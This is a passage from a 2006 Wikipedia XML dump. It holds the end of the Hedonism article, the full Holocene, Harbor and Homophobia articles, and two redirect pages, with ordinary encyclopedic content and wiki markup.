* Other proponents, like [[John Stuart Mill]] argue a qualitative approach.  Mill believed that there can be different levels of pleasure - higher quality pleasure is better than lower quality pleasure. Mill also argues that simpler beings (he often references [[pig]]s) have an easier access to the simpler pleasures since they do not see other aspects of life, they can simply indulge in their pleasures. The more elaborate beings tend to spend more thought on other matters and hence lessen the time for pleasure. It is therefore more difficult for them to indulge in such 'simple pleasures' in the same manner.

There are problems with this: generally, all ''pleasures'' do not necessarily share common traits, besides the fact that they can be seen as &quot;pleasurable&quot;. Furthermore the standards of what ought to be &quot;pleasurable&quot; vary (e.g., [[sadism and masochism|sadism]]).

==Predecessors==
[[Epicureanism]] is considered by some to be a form of ancient hedonism.  [[Epicurus]] identified pleasure with tranquility and emphasized the reduction of [[tanha|desire]] over the immediate acquisition of pleasure.  In this way, Epicureanism escapes the preceding objection: while pleasure and the highest good are equated, Epicurus claimed that the highest pleasure consists of a simple, moderate life spent with friends and in philosophical discussion. He stressed that it was not good to do something that made one feel good if by experiencing it one would belittle later experiences and make them no longer feel good. For example, too much [[intercourse|sex]] might later decrease interest in sex, which may cause one to be dissatisfied with one's sexual partner leading to unhappiness.

==Hedonism and Egoism==
Hedonism can be conjoined with either [[psychological egoism|psychological]] or [[ethical egoism]] to make '''[[psychological hedonism]]''': a purely descriptive claim which states that [[Agent (grammar)|agents]] naturally seek pleasure, or '''ethical hedonism''', the claim that we ''should'' act so as to produce our own pleasure. One constant objection is that where one finds pleasure, another may find pain, leading to a contradiction in what the [[morality|moral]] act is.

However, hedonism is not necessarily related to [[egoism]]. The [[Utilitarianism]] of [[John Stuart Mill]] is sometimes classified as a type of hedonism, as it judges the morality of actions by their consequent contributions to the greater good and [[happiness]] of all. Note that this is [[altruism|altruistic]] hedonism. Whereas some hedonistic doctrines propose doing whatever makes an individual happiest (over the long run), Mill promotes actions which make ''everyone'' happy. Compare [[individualism]] and [[collectivism]].

It is true that Epicurus recommends for us to pursue our own pleasure, but he never suggests we should live a selfish life which impedes others from getting to that same objective. 

Some of [[Sigmund Freud]]'s theories of human motivation have been called psychological hedonism; his &quot;life instinct&quot; is essentially the observation that people will pursue pleasure.  However, he introduces extra complexities with various other mechanisms, such as the &quot;death instinct&quot;. The fact that he leaves out the instinct to survive as a primary motivator, and that his hypotheses are notoriously invalidated by objective testing, casts doubt on this theory.

''[[Christian]] Hedonism'' is a term coined in 1986 for a [[theology|theological]] movement originally promoted by a [[pastor]], Dr. John Piper, in his book, ''Desiring God: Meditations of a Christian Hedonist''.  The tenets of this philosophy are that humans were created by (the Christian) [[God]] with the priority purpose of lavishly enjoying God through knowing, worshipping, and serving Him.  This philosophy recommends pursuing one's own happiness in God as the ultimate in human pleasure.  Similar to the Epicurean view, the highest pleasure is regarded as something long-term and found not in indulgence but in a life devoted to God.  Serious questions have been raised within the Christian community as to whether Christian Hedonism displaces &quot;love God&quot; with &quot;enjoy God&quot; as the greatest and foremost commandment. 

A typical apologetic for Christian Hedonism follows: It would seem that if you were to love something truly, then you must truly enjoy it. Thus, Christian Hedonism is exemplified in relation to Jesus Christ, who justifies God in loving a rebellious creation by providing the sacrifice of Himself as the payment allowing God to love us, and us to love Him, forever. It could be summed up in this statement: &quot;God is most glorified in us, when we are most satisfied in Him&quot;.

Quite a few people equate hedonism with sexuality and having a very loose or liberal view of the morality of sex.  As noted above, many (perhaps most) forms of hedonism actually concentrate on [[spirituality|spiritual]], [[intellectual]], or otherwise non-sexual forms of pleasure. The pursuit of sexual pleasure can certainly be a form of hedonism, but it is not the mainstream one. However, this has become the mainstream use of the word.

==See also==
* [[Morality]]
* [[Ethics]]
* [[The Hedonistic Imperative|Hedonistic imperative]]
* [[Paradox of hedonism]]
* [[Psychological hedonism]]
* [[Marquis De Sade]]

==External links==
*[http://www.hedweb.com/ The Hedonistic Imperative]
*The Internet Encyclopedia of Philosophy on:
**[http://www.utm.edu/research/iep/e/epicur.htm Epicurus]
**[http://www.utm.edu/research/iep/m/milljs.htm Mill]
**[http://www.utm.edu/research/iep/f/freud.htm Freud]
*[http://www.desiringgod.org/library/topics/christian_hedonism/ch_index.html Christian Hedonism]
*[http://www.thefaithfulword.org/cathedonism.html Articles critiquing Christian Hedonism]
*[http://plato.stanford.edu/entries/hedonism/ Stanford Encyclopedia of Philosophy entry]

{{Philosophy navigation}}

[[Category:Ethics]]
[[Category:Motivation]]

[[de:Hedonismus]]
[[es:Hedonismo]]
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[[ja:快楽主義]]
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[[sv:Hedonism]]</text>
    </revision>
  </page>
  <page>
    <title>Holocene</title>
    <id>13471</id>
    <revision>
      <id>41775736</id>
      <timestamp>2006-03-01T17:43:20Z</timestamp>
      <contributor>
        <username>Siim</username>
        <id>118301</id>
      </contributor>
      <minor />
      <comment>et:</comment>
      <text xml:space="preserve">The '''Holocene''' [[Epoch (geology)|epoch]] is a geological period that extends from the present back about 10,000 [[radiocarbon year]]s. It has been assigned to [[Marine isotopic stage|MIS 1]], which is an interglacial. The next glacial is yet to occur.

The '''Holocene''' [[era]] refers to a proposed [[calendar reform]], see [[Holocene calendar]].

Human civilization dates entirely to the Holocene. More precise dating is provided by the [[Blytt-Sernander]] classification of climatic periods defined by the pollen in peat moss. The scheme was defined for north Europe, but the climate changes are known somewhat more widely. The periods of the scheme include a few of the final oscillations of the glacier and then go on to classify the climates of recent prehistory.

The beginning of the Holocene was punctuated by the [[Younger Dryas]] cold period, the final part of the [[Pleistocene]] epoch. The end of the Younger Dryas has been dated to about 9600 BC (11550 calendar years [[Before Present|BP]]). However, evidence for the Younger Dryas is not clear cut anywhere other than in the Northern Hemisphere. 

The Holocene starts late in the retreat of the [[Pleistocene]] [[glacier]]s. The Holocene is the fourth and last epoch of the [[Neogene]] period (second epoch of the unofficial [[Quaternary]] sub-era). The name is derived from the Greek ὄλος (entire(ly)) and καινός (new). It has also been called the &quot;Alluvium Epoch&quot;.

Paleontologists have defined no [[faunal stage]]s for Holocene. If subdivision is necessary, historical periods such as [[Palaeolithic]], [[Mesolithic]], [[Neolithic]] etc are usually used.

{{Neogene Footer}}

==Geology==
Continental motions are negligible over a span of only 10,000 years -- less than a kilometer.  However, world sea levels rose about 35 meters (110 feet) in the early part of the Holocene due to ice melt.  In addition, many areas above about 40 degrees latitude had been depressed by the weight of the Pleistocene glaciers and rose as much as 180 meters over the late Pleistocene and Holocene. 

The sea level rise and temporary land depression allowed temporary marine incursions into areas that are now far from the sea. Holocene marine fossils are known from [[Vermont]], [[Quebec]], [[Ontario]], and [[Michigan]]. Other than higher latitude temporary marine incursions associated with glacial depression, Holocene fossils are found primarily in lakebed, floodplain, and cave deposits.  Holocene marine deposits along low-latitude coastlines are rare because the rise in sea levels during the period exceeds any likely upthrusting of non-glacial origin.

Apart from temporary incursions, [[Post-glacial rebound]] in the [[Scandinavia]] region resulted in the evolution of the [[Baltic Sea]]. The region continues to rise, still causing weak [[earthquake]]s across Northern Europe.

==Climate==
Although geographic shifts in the Holocene were minor, climatic shifts were very large.  [[Ice core]] records show that before the Holocene there were global warming and cooling periods but climate changes became more regional at the start of the [[Younger Dryas]].  However, the [[Huelmo/Mascardi Cold Reversal]] in the Southern Hemisphere began before the Younger Dryas and the maximum warmth flowed south to north from 11,000 to 7,000 years ago. There appears to be a south to north pattern, with southern latitudes displaying maximum warming a few millennia before the Northern Hemisphere regions.

The [[Holocene Climatic Optimum]] was a period of warming in which the global climate became 0.5-2°C warmer than today. However, the warming was probably not uniform across the world. It began roughly 9,000 years ago and ended about 5,000 years ago, when the earliest human civilizations in [[Asia]] were flourishing. This period of warmth ended with a cooler period with minor glaciation, which continued until about 2,000 years ago. By that time, the climate was not unlike today's, but with a slightly warmer period from the 10th-14th Centuries known as the [[Medieval Warm Period]]. The [[Little Ice Age]], which began in the 13th-14th Centuries and ended in the mid 19th Century was yet another period of cooling, though not as severe as previous periods of cooling during the Holocene.

The Holocene warming is really another interglacial period and does not represent a permanent end to the Pleistocene [[glaciation]]. It is thought that the planet will return to a new period of [[glaciation]] in as little as 3,000 years from now. However, if the human-induced [[global warming]] continues, a ''super-interglacial'' might occur, and become warmer and possibly longer than any past interglacial periods in the [[Pleistocene]]. A super-interglacial could become warmer than the [[Eemian Interglacial]], which peaked at roughly 125,000 years ago and was warmer than the Holocene. 

Habitable zones expanded northwards. Large mid-latitude area such as the [[Sahara]] that were previously productive became deserts. The epoch started with large lakes in many areas of the world that are now quite arid.  

Animal and plant life did not evolve much during the Holocene, but there were major shifts in the distributions of plants and animals. A number of large animals including [[mammoth]]s and [[mastodon]]s, [[saber-toothed cat]]s like ''[[Smilodon]]'' and ''[[Homotherium]]'', and [[giant sloth]]s disappeared in the late Pleistocene and early Holocene -- especially in North America where common animals that survived elsewhere (including horses and camels) became extinct.
This extinction of American [[megafauna]] has also been explained by the arrival of the ancestors of [[Amerindian]]s.
Throughout the world, cooler climate ecosystems that were previously regional have been isolated in higher altitude ecological &quot;islands.&quot;

==Human developments==
The beginning of the Holocene corresponds with the beginning of the [[Mesolithic]] age in most of Europe; but in regions such as the [[Middle East]] and [[Anatolia]] with a very early [[neolithisation]], [[Epipaleolithic]] is preferred in place of Mesolithic. Cultures in this period include: [[Hamburgian]], [[Federmesser]], and the [[Natufian culture]].

Both are followed by the aceramic Neolithic ([[Pre-Pottery Neolithic A]] and [[Pre-Pottery Neolithic B]]) and the pottery [[Neolithic]].

==Further reading==
*Neil Roberts ''The Holocene: an environmental history'' (Blackwell Publishing)

==See also==
* [[Holocene extinction event]]
* [[Holocene calendar]]
* [[Geologic timescale]]
* [[Centuries]]
* [[10th millennium BC]]
* [[The Great Story]]

[[Category:Holocene| ]]

[[ast:Holocenu]]
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[[de:Holozän]]
[[et:Holotseen]]
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[[zh:全新世]]</text>
    </revision>
  </page>
  <page>
    <title>Homosexual</title>
    <id>13472</id>
    <revision>
      <id>15911079</id>
      <timestamp>2005-04-22T22:29:37Z</timestamp>
      <contributor>
        <username>BanyanTree</username>
        <id>137674</id>
      </contributor>
      <minor />
      <comment>rv to last edit by Montrealais, please see the talk page for why this is a redirect to [[Homosexuality]]</comment>
      <text xml:space="preserve">#REDIRECT [[Homosexuality]]</text>
    </revision>
  </page>
  <page>
    <title>Heterosexual</title>
    <id>13473</id>
    <revision>
      <id>15911080</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Heterosexuality]]

</text>
    </revision>
  </page>
  <page>
    <title>Harbor</title>
    <id>13475</id>
    <revision>
      <id>41897904</id>
      <timestamp>2006-03-02T13:28:27Z</timestamp>
      <contributor>
        <ip>200.198.194.122</ip>
      </contributor>
      <comment>/* Largest harbors */</comment>
      <text xml:space="preserve">&lt;div class=&quot;messagebox merge&quot;&gt;&lt;!--PNG images containing transparencies do not display properly for some users.  Please consider this fact before replacing the already tiny GIF file.--&gt;[[Image:Mergefrom.gif|left]] It has been suggested that ''[[:{{NAMESPACE}}:Natural harbor|Natural harbor]]'' be [[Wikipedia:Merging and moving pages|merged]] into this article or section. ([[:{{NAMESPACE}} talk:{{PAGENAME}}|Discuss]])&lt;/div&gt;[[Category:Articles to be merged|{{PAGENAME}}]]
:''See also the '''[[Harbour compiler]]''', a compiler for the [[Clipper programming language]].''

{| align=right
|[[Image:Fishguard_Cwm_Harbour_macccam.jpg|thumb|right|250px|Low tide in Cwm Harbour, [[Fishguard]], [[Pembrokeshire]], [[Wales]]]]
|-
|[[Image:harbour.clovelly.arp.750pix.jpg|thumb|right|250px|The tiny harbour at the village of [[Clovelly]], [[Devon]], [[England]]]]
|}

A '''harbor''' ([[American English|AmE]]), '''harbour''' ([[Commonwealth English|CwE]]) or '''haven''' is a place where ships may shelter from the [[weather]] or are stored.  Harbors can be man-made or natural. A man-made harbor will have sea walls or [[Breakwater (Coast)|breakwaters]] and may require [[dredging]]. A '''[[natural harbor]]''' is surrounded on most sides by land. 

Harbors and [[port]]s are often confused. A port is a man-made [[coast]]al or riverine facility where [[boat]]s and [[ship]]s can load and unload. It may consist of [[quay]]s, [[wharf]]s, [[jetty|jetties]], [[pier]]s and [[slipway]]s with [[crane (machine)|crane]]s or ramps. A port may have magazine buildings or warehouses for storage of goods and a [[transport]] system, such as [[railway]], [[road transport]] or [[pipeline transport]] facilities for relaying goods inland. 

During the [[D-Day]] operations of [[1944]], two artificial harbors (codenamed [[Mulberry Harbour|Mulberry]]) were built just off the invasion [[beach]]es.

Natural harbors have long been of great strategic and economic importance. Many of the great cities of the world are located on a natural harbor.  

==Ice-free harbors==
For harbors near the [[geographical pole|pole]]s, being [[ice]]-free is an important advantage, ideally all-year round. Examples are [[Murmansk]] (Russia), [[Petsamo]] (Russia, formerly Finland), [[Hammerfest]], [[Vardø]], and [[Prince Rupert Harbour|Prince Rupert]] or [[Halifax Harbour|Halifax]] ([[Canada]]).

==Largest harbors==
The following places are large natural harbours:
* [[San Francisco Bay]] in the [[United States]]
* [[Mumbai]] in [[India]]
* [[Boston]] in the [[United States]]
* [[Port Jackson|Sydney Harbour]] in [[Australia]]
* [[Rio de Janeiro]], Guanabara Bay, in [[Brazil]]
* Bahia de Todos os Santos, [[Salvador]], in [[Brazil]]
* [[Halifax, Nova Scotia|Halifax]] in [[Canada]]
* [[Poole]] in the [[United Kingdom]]
* [[Cork]] in the [[Republic of Ireland]]
* [[Falmouth, Cornwall|Falmouth]] in the United Kingdom
* [[Freetown|Freetown Harbour]] in [[Sierra Leone]] 
* [[Pearl Harbor]], west of [[Honolulu]], [[Hawaii]]


Artificial harbors are frequently built for use as ports. The largest artificially created harbor is located in [[Rotterdam]], [[The Netherlands]].

Other famous harbors include:

*[[Hampton Roads]] in [[Virginia]], [[United States]]
*[[Keppel Harbour]] in [[Singapore]]
*[[Upper New York Bay]] in [[New York Harbor]], [[United States]]
*[[Victoria Harbour]] in [[Hong Kong]], [[People's Republic of China]]

== See also == 
* [[Dock (maritime)|Dock]]
* [[dockyard|Dockyard]]
* [[marina|Marina]], [[List of Marinas]] 
* [[quay|Quay]]
* [[seaport|Seaport]], [[List of seaports]] 
* [[wharf|Wharf]]


[[Category:Ports and harbours| Harbours]]
[[Category:Coastal construction]]

[[br:Porzh (evit listri)]]
[[cs:Přístav]]
[[da:Havn]]
[[de:Hafen]]
[[fa:لنگرگاه]]
[[fr:Port (marine)]]
[[nl:Haven]]
[[nds:Haven]]
[[no:Havn]]
[[ru:Порт]]
[[simple:Harbor]]
[[sv:Hamn]]
[[ta:துறைமுகம்]]
[[tr:Liman]]</text>
    </revision>
  </page>
  <page>
    <title>Homophobia</title>
    <id>13476</id>
    <revision>
      <id>42055664</id>
      <timestamp>2006-03-03T14:22:02Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <text xml:space="preserve">The term '''''homophobia''''' means a &quot;fear of or contempt for homosexuality or homosexuals&quot; or the fear of becoming homosexual. It is derivable from the words [[homosexuality|homosexual]] and [[phobia|Φοβος]] (meaning &quot;fear&quot; or &quot;panic&quot; in [[Greek language|Greek]]). The term itself is, however, often broadened to encompass other feelings such as aversion to, disagreement with, disapprobation of, disparagement of, or discrimination against [[homosexual]] people, their lifestyle, their sexual behavior, or culture {{ref|dictionary}} and is generally used to assert [[bigotry]]. Frequently, moral or ideological condemnation is also described as &quot;homophobia&quot;.

==Etymology==
According to the [[Oxford English Dictionary]], the word ''homophobia'' in the meaning &quot;fear or hatred of homosexuals and homosexuality&quot; was first used in print in [[Time Magazine]] in 1969. It was coined by clinical psychologist [[George Weinberg]], who claims to have first thought of it while speaking at a [[homosexuality|homophile]] group in 1965 {{ref|weinberg}} and popularized by his book ''Society and the Healthy Homosexual'' in 1971.  It combines the Greek terms ''phobos'', meaning &quot;fear&quot; or &quot;panic&quot;, and ''homos'', which means &quot;the same&quot;.  The &quot;homo&quot; in homophobia comes from the word [[homosexuality|homosexual]], not to be confused with the [[Latin]] ''homo'', meaning man (as in [[homo sapiens]]).

A possible (and etymologically more precise) precursor was ''homoerotophobia'', coined by Dr [[Wainwright Churchill]] in ''Homosexual Behavior Among Males'' in 1967.

==Dual associations and usage controversy==
Most people who discuss prejudice against [[LGBT]] people use the term &quot;homophobia&quot; as a parallel to [[racism]] or [[sexism]] (which refers to gender prejudice).  [[Heterosexism]] and [[sexualism]] have been proposed as alternatives which are more [[Morphology (linguistics)|morphologically]] parallel, and which do not have the association with phobia.  The term &quot;homosexualism&quot; is a rarely-used synonym of [[homosexuality]].  [[Queer Theory]] and [[critical theory]] use the terms [[heterocentric]] and [[heteronormativity]] to refer to similar [[ontological]] assumptions. [[Heterosexualism]] is an ambiguous term which is used either as a synomym for [[heterosexuality]] or [[heterosexism]] (prejudice against homosexuals).

Homophobia as a clinically diagnosed medical condition is quite uncommon, especially compared to the prevalence of political, personal, or moral disapproval of homosexuality in general.  Clinical homophobia is not listed in the [[Diagnostic and Statistical Manual of Mental Disorders]].  As behaviors and thoughts that are frequently considered homophobic are often not fear based but instead reflect a disapproval of homosexuality, recent psychological literature has favored the term ''homonegativity.''

For more information on medically diagnosed phobia, see [[phobia]].  For something that might be described as &quot;medical homophobia&quot;, see [[homosexual panic]].

Just as some people use the term &quot;homophobia&quot; to stress the association between prejudice and a fear or medical disorder, others criticize it as being an unnecessarily or even maliciously [[loaded term|loaded]] with those associations, and may avoid using it as a result.  

There is also considerable debate over the term's usage as a label for opponents of certain categories of social policy, with the debate centering upon the question of whether such opposition is a legitimate moral stance or indefensible discrimination, and whether or not there are reasons other than fear and misunderstanding that might justify such positions. As in cases such as the [[Santorum controversy]], many have alleged that the term is often used as a means of demonizing and silencing political opponents without regard to their actual motives; those on the other side of the debate argue that the motives in such cases are always connected with bigotry or fear.

==Internalized homophobia==
''Internalized homophobia'' (or ''ego-dystonic homophobia'') usually refers to homophobia as a prejudice carried by homosexuals against themselves and others like them.  It includes a discomfort with or disapproval of one's own [[sexual orientation]].

Such a situation may cause extreme repression of homosexual desires. In other cases, a conscious internal struggle may occur for some time, often pitting deeply held religious or social beliefs against strong emotional desires and needs. This discordance often causes [[clinical depression]], and the unusually high [[suicide]] rate among homosexual teenagers may be partly attributed to this phenomenon (the opinions and actions of others may also be a factor).

Many people in this situation attempt to resolve it, at least for a period of time, through [[chastity]]. This is an attractive option because many belief systems are neutral or only mildly disapprove of, for example, homosexual feelings, but strongly disapprove of acting on those feelings. Advocates of the [[ex-gay]] movement believe that in addition to behavior, [[sexual orientation]] is a malleable attribute, and advocate attempting to change it (this is highly controversial, and many mental health professionals warn that such therapies have not been proven to be effective, and that they may be psychologically harmful).

The label of internalized homophobia is sometimes applied to conscious or unconscious behaviors which an observer feels the need to promote or conform to the expectations of [[heteronormativity]] or [[heterosexism]]. This might include making assumptions about the gender of a person's romantic partner, or about gender roles. Some also apply this label to LGBT persons who support &quot;compromise&quot; policies, such as those that find civil unions an acceptable alternative to same-sex marriage. Whether this is a tactical judgement call or the result of some kind of internal prejudice (whether in a cause-and-effect fashion, or definitionally) is a matter of some debate.

Some claim (including Sigmund Freud in his [[psychoanalytic theory]]) that some or most homophobes are repressed homosexuals, but this claim is highly controversial. The notion, however, suffers from a serious logical fallacy known as [[post hoc ergo propter hoc]]. In 1996, a controlled study of 64 heterosexual (by experience and self-reported orientation) men at the University of Georgia {{ref|arousal}} found the allegedly homophobic men (as measured by the Index of Homophobia {{ref|index}}) considerably more likely to experience more erectile response when exposed to homoerotic images than non-homophobic men. 

However, the homophobic men also tended to report more negative emotions in response to those particular images (not sexual arousal), and the researchers noted that general anxiety has been shown to enhance erectile response. There was no significant difference in results on the [[Homophobia#References|Aggression Questionnaire]]. The group recommended further research.

==Fear of being identified as a homosexual==
A component considered to play into homophobia, as considered by some theorists, such as [[Calvin Thomas]] and [[Judith Butler]], is an individual's fear of being identified as homosexual him or herself.

This notion suggests that when expressing homophobic viewpoints and emotions, the individual who does so is not only expressing his thoughts as to homosexuals, but also actively attempting to distance himself from this category and attributed social status. Therefore, by distancing him or herself from the people in question, he/she is reaffirming his/her role as a [[heterosexual]], within [[heteronormativity]], and contributing to the avoidance of his/her potential labeling and consequent treatment as a homosexual.

This interpretation plays into notions of violent opposition to &quot;the Other&quot; as a means of establishing one's identity as part of the majority and therefore, validated by society. This concept is also recurrent in interpretations of [[racism]] and [[xenophobia]].

==Homophobia as leading to a climate of prejudice==
Whether viewed as unfounded prejudices or legitimate moral opinions, attitudes frowning on LGBT orientations and lifestyles have been reflected in [[:Category:Anti-gay rights legislation|legislation]] and these attitudes have had a profound impact on political debates over [[:Category:LGBT civil rights|LGBT civil rights]] in general.  Some look at people holding negative attitudes about LGBT people and assign blame to them for a creating or perpetuating a climate of prejudice that has resulted in [[Violence against gays, lesbians, bisexuals, and the transgendered|violence against LGBT people]], by individuals, states or other organizations. 

Many social and religious attitudes toward homosexuality are negative, which some might describe as a form of prejudice. See [[Societal attitudes towards homosexuality]] and [[Religion and homosexuality]].

[[Social Psychology|Psychology]] researchers have used measures such as the [[Social Dominance Orientation|Social Dominance Orientation (SDO)]] and [[Right Wing Authoritarianism|Right Wing Authoritarianism (RWA)]] to predict homophobic attitudes. These measures are traditionally used to measure other forms of prejudice. 

===Sexist beliefs===
Some [[gender theorist]]s interpret the fact that male-to-male relationships often incite a stronger reaction in a homophobic person than female-to-female ([[lesbian]]) as meaning that the homophobic person feels threatened by the perceived subversion of the [[gender paradigm]] in male-to-male sexual activity. According to such theorists as D.A. Miller, male heterosexuality is defined not only by the desire for women but also, and more importantly, by the denial of desire for men. Therefore, expressions of homophobia serve as a means of limiting those who they view as displaced in heteronormativity, and also of accenting their male nature, by isolating the threatening concept of their own potential feminity in gay men, and consequently belittling them, as not ''real'' males. They regard the reason male homosexuality is treated worse compared to female homosexuality as [[sexist]] in its underlying belief that men are superior to women and therefore for a man to ''&quot;replace&quot;'' a woman during intercourse with another man is his own subjection to (non-male) inferiority.

However, this view would imply that only the receptive male partner in homosexual acts would be thought of as &quot;offensive&quot;. Miller's specific claim that male heterosexuality does not require &quot;desire for women&quot; would seem to preclude the possibility of [[asexuality]] or [[bisexuality]]. Nor is it clear why male heterosexuals would &quot;need&quot; or even fear homosexuals in order to affirm maleness &amp;ndash; unless their sexuality was already experienced as threatened by some other cause.

===Opposition to homophobia===
To combat homophobia, the LGBT community uses events such as [[pride parade]]s and [[political activism]] (''See [[gay pride]]).'' Some parts of the festivities are criticized for reinforcing stereotypes about LGBT people (e.g. [[Dykes on Bikes]], the prominence of cross-dressing, a gay male fascination with musicals, the colour [[pink]], a sex-positive atmosphere that may seem to give endorsement to a promiscuous lifestyle which in turn relates to the problem of AIDS, etc). Other portions tend to challenge stereotypes, including the presence of religious organizations who support gay rights and oppose homophobia (''See [[Religion and homosexuality]]''), the families of LGBT people, and LGBT people with children. Much of the colour, glamour, and noise of pride parades can also be seen as a simple celebration of LGBT culture, or of life in general.

One form of organized resistance to homophobia is the ''[http://www.idahomophobia.org/ International Day Against Homophobia (IDAHO)]'', {{ref|idaho}} first celebrated May 17, 2005 in related activities in more than 40 countries. {{ref|idaho2}}

Some activists also call homophobia ''straight supremacism'' equating it to [[white supremacy|white supremacism]]. Anti-gay groups see this as an attempt to marginalize those who disapprove of homosexuality.

Besides public expression, specific laws have been made to oppose homophobia, as in [[hate speech]], [[hate crime]], and laws against [[discrimination]] on the basis of sexual orientation.

Some argue that anti-LGBT prejudice is immoral or unwise above and beyond the effects on that class of people. [[Warren J. Blumenfeld]] argues that this emotion gains a dimension beyond itself, as a tool for extreme far-right conservative and religious groups and as a restricting factor on gender-relations as to the weight associated with performing each role accordingly. Furthermore, Blumenfeld in particular claimed:
:Anti-gay bias causes young people to engage in sexual behaviour earlier in order to prove that they are straight. Anti-gay bias contributed significantly to the spread of the AIDS epidemic. Anti-gay bias inhibits the ability of schools to create effective honest sexual education programs that would save children's lives and prevent STDs. {{ref|blumenfield}}

==&quot;Homophobia&quot; as applied to political figures==
The term &quot;homophobe&quot; has also been used to describe opponents of laws considered favorable to gay rights causes. {{dubious}} 
Opponents of [[same sex marriage]] legalization, child adoption by same-sex couples, and anti-gay hate crimes are often accused of homophobia for not supporting this legislation.

The [[Concerned Women for America]], a [[conservative]] lobby group, issued a press release following the [[Rick Santorum]] affair because they claimed that 

:&quot;The Rick Santorum controversy has illuminated a serious problem in the Republican Party: Its leaders seem woefully ill-prepared to defend the pro-family position on homosexuality.&quot;

in their advice to &quot;fellow Republicans,&quot; they issued several points, including #3...

:&quot;expose the deceptive terms, such as &quot;sexual orientation,&quot; diversity and &quot;homophobia,&quot; which are used by pro-&quot;gay&quot; proponents to confuse the issue and control the debate. This requires nothing but making them define their terms at the start of argument, then focusing the debate on clarifying the definitions and exposing their illogic and hypocrisy. &quot;

The press release goes on to say ...

:&quot;Ask them to identify some examples of non-homophobic opposition to homosexuality. They can't do it because they define all opposition as &quot;homophobic.&quot; Do they really believe that disapproval of [[sodomy]]/[[rimming]]/[[fisting]]/[[sadism]] is irrational bigotry? You get the idea. You'll find that this technique derails virtually every pro-&quot;gay&quot; argument because each one relies on deceptive rhetoric. &quot; {{ref|santorum}}

Senator [[Rick Santorum]] was accused of homophobia by the [[Gay and Lesbian Medical Association]] {{ref|glma}}, &lt;!-- which ones? --&gt; for making a declaration that he believed consenting adults do not have a constitutional right to privacy with respect to sexual acts. Santorum described the ability to regulate homosexual acts as comparable to the states' ability to regulate other sexual behaviors. (See [[Santorum controversy]])

Alan Keyes was accused of homophobia by [[Washington Blade]] correspondent [[Steve Koval]] in reference to Keyes' comments about Vice President [[Dick Cheney|Cheney]]'s lesbian daughter when Keyes was running for the U.S. Senate. {{ref|keyes}}

==Excerpts from discussions of the term==
Gay rights supporter [[Scott Bidstrup]], in a personal essay titled ''Homophobia: The Fear Behind The Hatred'', emphasizes the association between prejudice and fear:
:If you look up ''homophobia'' in the dictionary, it will probably tell you that it is the fear of homosexuals. While many would take issue with that definition, it is nevertheless true that in many ways, it really is a fear of homosexuality or at least homosexuals.{{ref|bidstrup}}

[[Niclas Berggren]], writing in the ''Independent Gay Forum'', argues that &quot;homophobic&quot; opinions are irrational:
:It is usually not the case, for homophobic persons, that the basis of their attitudes towards homosexuality is rational reasoning, or intellectual argumentation. Such endeavors have, as a rule, been added afterwards, to try to give the homophobia a nicer and more respectable framing. However, these attempts to argue intellectually against homosexuality are utter failures. {{ref|berggren}}

Christian commentator [[Gregory Koukl]], in a personal essay titled ''[[Heterosexism]]'', objects to the medicalization of a moral position:
:The word homophobia has come to describe any kind of opposition to homosexuality of any sort, but its interesting that part of their ([[homosexuality|homosexuals]]') goal was to shift the emphasis from what many perceived to be a homosexual problem, away from the homosexual activity itself, and towards the attitude people have about homosexuality... They purposely did this to change the focus of the discussion from the morality of their activity and the social appropriateness of their lifestyle to the attitudinal bias of those who would judge them. {{ref|koukl}}

==Homophobia in popular culture==
* [[Eminem]] garnered a lot of controversy as he rose to success, because of what were seen as highly homophobic lyrics, which ultimately led to [[GLAAD]] actively receiving hate-mail from his fans. This led to a number of reactions against him, in the forms of public manifestations and even a commercial specifically filmed for the night he played at the 2001 Grammys, with the mother of a homosexual teenager, [[Matthew Shepard]], who was beaten to death, speaking out to the general public as to the use of homophobic terms. Ironically, Eminem performed with openly gay artist [[Elton John]] that very night.

* In 2004 the reggae artist [[Sizzla]] cancelled his tours of the [[United Kingdom]] and [[France]] after protests over his anti-gay lyrics (popularly referred to as &quot;homophobic&quot;), and at one point the [[British government]] considered banning him from entry into the country. {{ref|sizzla}}

* In 2001 the Russian pop-band ''Chugunnyi Skorokhod'' (Russian &quot;Чугунный Скороход&quot;) (literally, &quot;The fast-walker of pig-iron&quot;) released a song ''Pidory idut!'' (Russian &quot;Пидоры идут&quot;!) (&quot;Fags are marching!&quot;). The song is about how it is hard for a straight man to live in a world where gays rule (particularly, in fields of TV, show business, etc.). It contains lines like &quot;You were born a man - you're trapped! There's no way if you are straight!&quot; &quot;Any hairdresser or stylist must be a homosexual! How can a straight man work, if gays want him immediately?&quot; The reaction in the Russian society was mixed: while some gay magazines and web sites accused the authors of fascism, many people accepted it quite warmly.

==References==
#{{note|dictionary}} Merriam-Webster's 11th Collegiate Dictionary, 2005, American Heritage Dictionary.
#{{note|weinberg}} [http://www.pflagdetroit.org/george_weinberg.htm &quot;George Weinberg: Love is Conspiratorial, Deviant &amp; Magical&quot;]
#{{note|phobia}} [http://www.planetout.com/news/article-print.html?2002/06/13/3 Study: Homophobia is not a phobia], Gay.com U.K., June, 2002.
#{{note|journal}} [http://uk.gay.com/headlines/8588 Study in the Journal of Personality and Social Psychology]
#{{note|arousal}} &quot;Is Homophobia Associated With Homosexual Arousal?&quot; by Henry E. Adams, Ph.D., Lester W. Wright, Jr., Ph.D. and Bethany A. Lohr, University of Georgia (Athens), Department of Psychology. ''Journal of Abnormal Psychology'', Vol. 105, No. 3, pp 440-445. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=8772014 Abstract] at [[PubMed]]. Summarized in an [[American Psychological Association]] press release, August 1996: &quot;[http://web.archive.org/web/20040202035152/www.apa.org/releases/homophob.html  New Study Links Homophobia with Homosexual Arousal]&quot;.
#{{note|index}} Index of Homophobia: W. W. Hudson and W. A. Ricketts, 1980.
#{{note|idaho}} [http://ilga.org/news_results_b.asp?FileID=329http://ilga.org/news_results_b.asp?FileID=329 &quot;Towards an international Day against Homophobia&quot;], [[April 10]], [[2004]]
#{{note|idaho2}} [http://www.emediawire.com/releases/2005/5/emw239185.htm &quot;1st Annual International Day Against Homophobia to be Celebrated in over 40 Countries on May 17&quot;], [[May 12]], [[2005]]
